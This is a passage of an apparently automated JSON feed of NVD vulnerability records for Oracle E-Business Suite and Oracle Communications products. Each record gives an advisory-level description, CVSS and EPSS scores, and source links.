Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:18:23.500Z","updatedAt":"2026-10-22T18:17:14.613Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.7,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101689","asOf":"2026-10-22T18:17:14.613Z"},"epss":{"probability":0.00379,"percentile":0.3159,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101689&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101689","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101689","type":"primary","publishedAt":"2026-10-20T22:18:23.500Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101689&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101689, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101688","cveId":"CVE-2026-101688","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle E-Business Suite Integrated SOA Gateway product of Oracle E-Business Suite (component: SOA Provider).","summary":"Vulnerability in the Oracle E-Business Suite Integrated SOA Gateway product of Oracle E-Business Suite (component: SOA Provider).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle E-Business Suite Integrated SOA Gateway.  While the vulnerability is in Oracle E-Business Suite Integrated SOA Gateway, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Oracle E-Business Suite Integrated SOA Gateway accessible data. CVSS 3.1 Base Score 8.6 (Confidentiality impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N).","detail":"Vulnerability in the Oracle E-Business Suite Integrated SOA Gateway product of Oracle E-Business Suite (component: SOA Provider).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle E-Business Suite Integrated SOA Gateway.  While the vulnerability is in Oracle E-Business Suite Integrated SOA Gateway, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Oracle E-Business Suite Integrated SOA Gateway accessible data. CVSS 3.1 Base Score 8.6 (Confidentiality impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:18:23.390Z","updatedAt":"2026-10-22T16:17:11.163Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.6,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101688","asOf":"2026-10-22T16:17:11.163Z"},"epss":{"probability":0.00438,"percentile":0.37812,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101688&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101688","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101688","type":"primary","publishedAt":"2026-10-20T22:18:23.390Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101688&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101688, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101687","cveId":"CVE-2026-101687","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle E-Business Suite Integrated SOA Gateway product of Oracle E-Business Suite (component: SOA Provider).","summary":"Vulnerability in the Oracle E-Business Suite Integrated SOA Gateway product of Oracle E-Business Suite (component: SOA Provider).  Supported versions that are affected are 12.2.3-12.2.15. Difficult to exploit vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle E-Business Suite Integrated SOA Gateway.  Successful attacks of this vulnerability can result in takeover of Oracle E-Business Suite Integrated SOA Gateway. CVSS 3.1 Base Score 7.5 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H).","detail":"Vulnerability in the Oracle E-Business Suite Integrated SOA Gateway product of Oracle E-Business Suite (component: SOA Provider).  Supported versions that are affected are 12.2.3-12.2.15. Difficult to exploit vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle E-Business Suite Integrated SOA Gateway.  Successful attacks of this vulnerability can result in takeover of Oracle E-Business Suite Integrated SOA Gateway. CVSS 3.1 Base Score 7.5 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:18:23.273Z","updatedAt":"2026-10-21T21:17:36.650Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101687","asOf":"2026-10-21T21:17:36.650Z"},"epss":{"probability":0.00359,"percentile":0.29371,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101687&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101687","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101687","type":"primary","publishedAt":"2026-10-20T22:18:23.273Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101687&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101687, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101686","cveId":"CVE-2026-101686","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle E-Business Suite Integrated SOA Gateway product of Oracle E-Business Suite (component: SOA Provider).","summary":"Vulnerability in the Oracle E-Business Suite Integrated SOA Gateway product of Oracle E-Business Suite (component: SOA Provider).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle E-Business Suite Integrated SOA Gateway.  Successful attacks of this vulnerability can result in takeover of Oracle E-Business Suite Integrated SOA Gateway. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).","detail":"Vulnerability in the Oracle E-Business Suite Integrated SOA Gateway product of Oracle E-Business Suite (component: SOA Provider).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle E-Business Suite Integrated SOA Gateway.  Successful attacks of this vulnerability can result in takeover of Oracle E-Business Suite Integrated SOA Gateway. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:18:23.163Z","updatedAt":"2026-10-24T04:18:13.330Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101686","asOf":"2026-10-24T04:18:13.330Z"},"epss":{"probability":0.00464,"percentile":0.39953,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101686&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101686","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101686","type":"primary","publishedAt":"2026-10-20T22:18:23.163Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101686&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101686, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101685","cveId":"CVE-2026-101685","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle E-Business Suite Integrated SOA Gateway product of Oracle E-Business Suite (component: SOA Provider).","summary":"Vulnerability in the Oracle E-Business Suite Integrated SOA Gateway product of Oracle E-Business Suite (component: SOA Provider).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle E-Business Suite Integrated SOA Gateway.  Successful attacks of this vulnerability can result in takeover of Oracle E-Business Suite Integrated SOA Gateway. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).","detail":"Vulnerability in the Oracle E-Business Suite Integrated SOA Gateway product of Oracle E-Business Suite (component: SOA Provider).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle E-Business Suite Integrated SOA Gateway.  Successful attacks of this vulnerability can result in takeover of Oracle E-Business Suite Integrated SOA Gateway. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:18:23.043Z","updatedAt":"2026-10-24T04:18:13.177Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101685","asOf":"2026-10-24T04:18:13.177Z"},"epss":{"probability":0.00464,"percentile":0.39952,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101685&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101685","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101685","type":"primary","publishedAt":"2026-10-20T22:18:23.043Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101685&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101685, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101684","cveId":"CVE-2026-101684","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle E-Business Suite Integrated SOA Gateway product of Oracle E-Business Suite (component: Internal Operations).","summary":"Vulnerability in the Oracle E-Business Suite Integrated SOA Gateway product of Oracle E-Business Suite (component: Internal Operations).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle E-Business Suite Integrated SOA Gateway.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Oracle E-Business Suite Integrated SOA Gateway accessible data as well as  unauthorized access to critical data or complete access to all Oracle E-Business Suite Integrated SOA Gateway accessible data and unauthorized ability to cause a partial denial of service (partial DOS) of Oracle E-Business Suite Integrated SOA Gateway. CVSS 3.1 Base Score 8.3 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L).","detail":"Vulnerability in the Oracle E-Business Suite Integrated SOA Gateway product of Oracle E-Business Suite (component: Internal Operations).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle E-Business Suite Integrated SOA Gateway.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Oracle E-Business Suite Integrated SOA Gateway accessible data as well as  unauthorized access to critical data or complete access to all Oracle E-Business Suite Integrated SOA Gateway accessible data and unauthorized ability to cause a partial denial of service (partial DOS) of Oracle E-Business Suite Integrated SOA Gateway. CVSS 3.1 Base Score 8.3 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:18:22.923Z","updatedAt":"2026-10-21T21:17:36.313Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.3,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101684","asOf":"2026-10-21T21:17:36.313Z"},"epss":{"probability":0.00416,"percentile":0.35609,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101684&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101684","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101684","type":"primary","publishedAt":"2026-10-20T22:18:22.923Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101684&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101684, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101683","cveId":"CVE-2026-101683","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Applications DBA product of Oracle E-Business Suite (component: AD Utilities).","summary":"Vulnerability in the Applications DBA product of Oracle E-Business Suite (component: AD Utilities).  Supported versions that are affected are 12.2.3-12.2.15. Difficult to exploit vulnerability allows low privileged attacker with logon to the infrastructure where Applications DBA executes to compromise Applications DBA.  Successful attacks of this vulnerability can result in takeover of Applications DBA. CVSS 3.1 Base Score 7.0 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H).","detail":"Vulnerability in the Applications DBA product of Oracle E-Business Suite (component: AD Utilities).  Supported versions that are affected are 12.2.3-12.2.15. Difficult to exploit vulnerability allows low privileged attacker with logon to the infrastructure where Applications DBA executes to compromise Applications DBA.  Successful attacks of this vulnerability can result in takeover of Applications DBA. CVSS 3.1 Base Score 7.0 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:18:22.810Z","updatedAt":"2026-10-21T21:17:36.200Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101683","asOf":"2026-10-21T21:17:36.200Z"},"epss":{"probability":0.00139,"percentile":0.03202,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101683&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101683","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101683","type":"primary","publishedAt":"2026-10-20T22:18:22.810Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101683&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101683, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101682","cveId":"CVE-2026-101682","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Applications DBA product of Oracle E-Business Suite (component: AD Utilities).","summary":"Vulnerability in the Applications DBA product of Oracle E-Business Suite (component: AD Utilities).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows unauthenticated attacker with logon to the infrastructure where Applications DBA executes to compromise Applications DBA.  Successful attacks require human interaction from a person other than the attacker. Successful attacks of this vulnerability can result in takeover of Applications DBA. CVSS 3.1 Base Score 7.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H).","detail":"Vulnerability in the Applications DBA product of Oracle E-Business Suite (component: AD Utilities).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows unauthenticated attacker with logon to the infrastructure where Applications DBA executes to compromise Applications DBA.  Successful attacks require human interaction from a person other than the attacker. Successful attacks of this vulnerability can result in takeover of Applications DBA. CVSS 3.1 Base Score 7.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:18:22.697Z","updatedAt":"2026-10-21T21:17:36.083Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101682","asOf":"2026-10-21T21:17:36.083Z"},"epss":{"probability":0.00178,"percentile":0.07359,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101682&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101682","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101682","type":"primary","publishedAt":"2026-10-20T22:18:22.697Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101682&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101682, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101681","cveId":"CVE-2026-101681","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Applications DBA product of Oracle E-Business Suite (component: AD Utilities).","summary":"Vulnerability in the Applications DBA product of Oracle E-Business Suite (component: AD Utilities).  Supported versions that are affected are 12.2.3-12.2.15. Difficult to exploit vulnerability allows low privileged attacker with logon to the infrastructure where Applications DBA executes to compromise Applications DBA.  Successful attacks of this vulnerability can result in takeover of Applications DBA. CVSS 3.1 Base Score 7.0 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H).","detail":"Vulnerability in the Applications DBA product of Oracle E-Business Suite (component: AD Utilities).  Supported versions that are affected are 12.2.3-12.2.15. Difficult to exploit vulnerability allows low privileged attacker with logon to the infrastructure where Applications DBA executes to compromise Applications DBA.  Successful attacks of this vulnerability can result in takeover of Applications DBA. CVSS 3.1 Base Score 7.0 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:18:22.583Z","updatedAt":"2026-10-21T21:17:35.973Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101681","asOf":"2026-10-21T21:17:35.973Z"},"epss":{"probability":0.00139,"percentile":0.03201,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101681&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101681","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101681","type":"primary","publishedAt":"2026-10-20T22:18:22.583Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101681&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101681, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101680","cveId":"CVE-2026-101680","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle Communications Billing and Revenue Management product of Oracle Communications (component: Platform).","summary":"Vulnerability in the Oracle Communications Billing and Revenue Management product of Oracle Communications (component: Platform).  Supported versions that are affected are 15.0.0.0.0, 15.0.1.0.0, 15.1.0.0.0 and  15.2.0.0.0. Difficult to exploit vulnerability allows unauthenticated attacker with network access via TLS to compromise Oracle Communications Billing and Revenue Management.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Oracle Communications Billing and Revenue Management accessible data as well as  unauthorized access to critical data or complete access to all Oracle Communications Billing and Revenue Management accessible data. CVSS 3.1 Base Score 7.4 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N).","detail":"Vulnerability in the Oracle Communications Billing and Revenue Management product of Oracle Communications (component: Platform).  Supported versions that are affected are 15.0.0.0.0, 15.0.1.0.0, 15.1.0.0.0 and  15.2.0.0.0. Difficult to exploit vulnerability allows unauthenticated attacker with network access via TLS to compromise Oracle Communications Billing and Revenue Management.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Oracle Communications Billing and Revenue Management accessible data as well as  unauthorized access to critical data or complete access to all Oracle Communications Billing and Revenue Management accessible data. CVSS 3.1 Base Score 7.4 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the 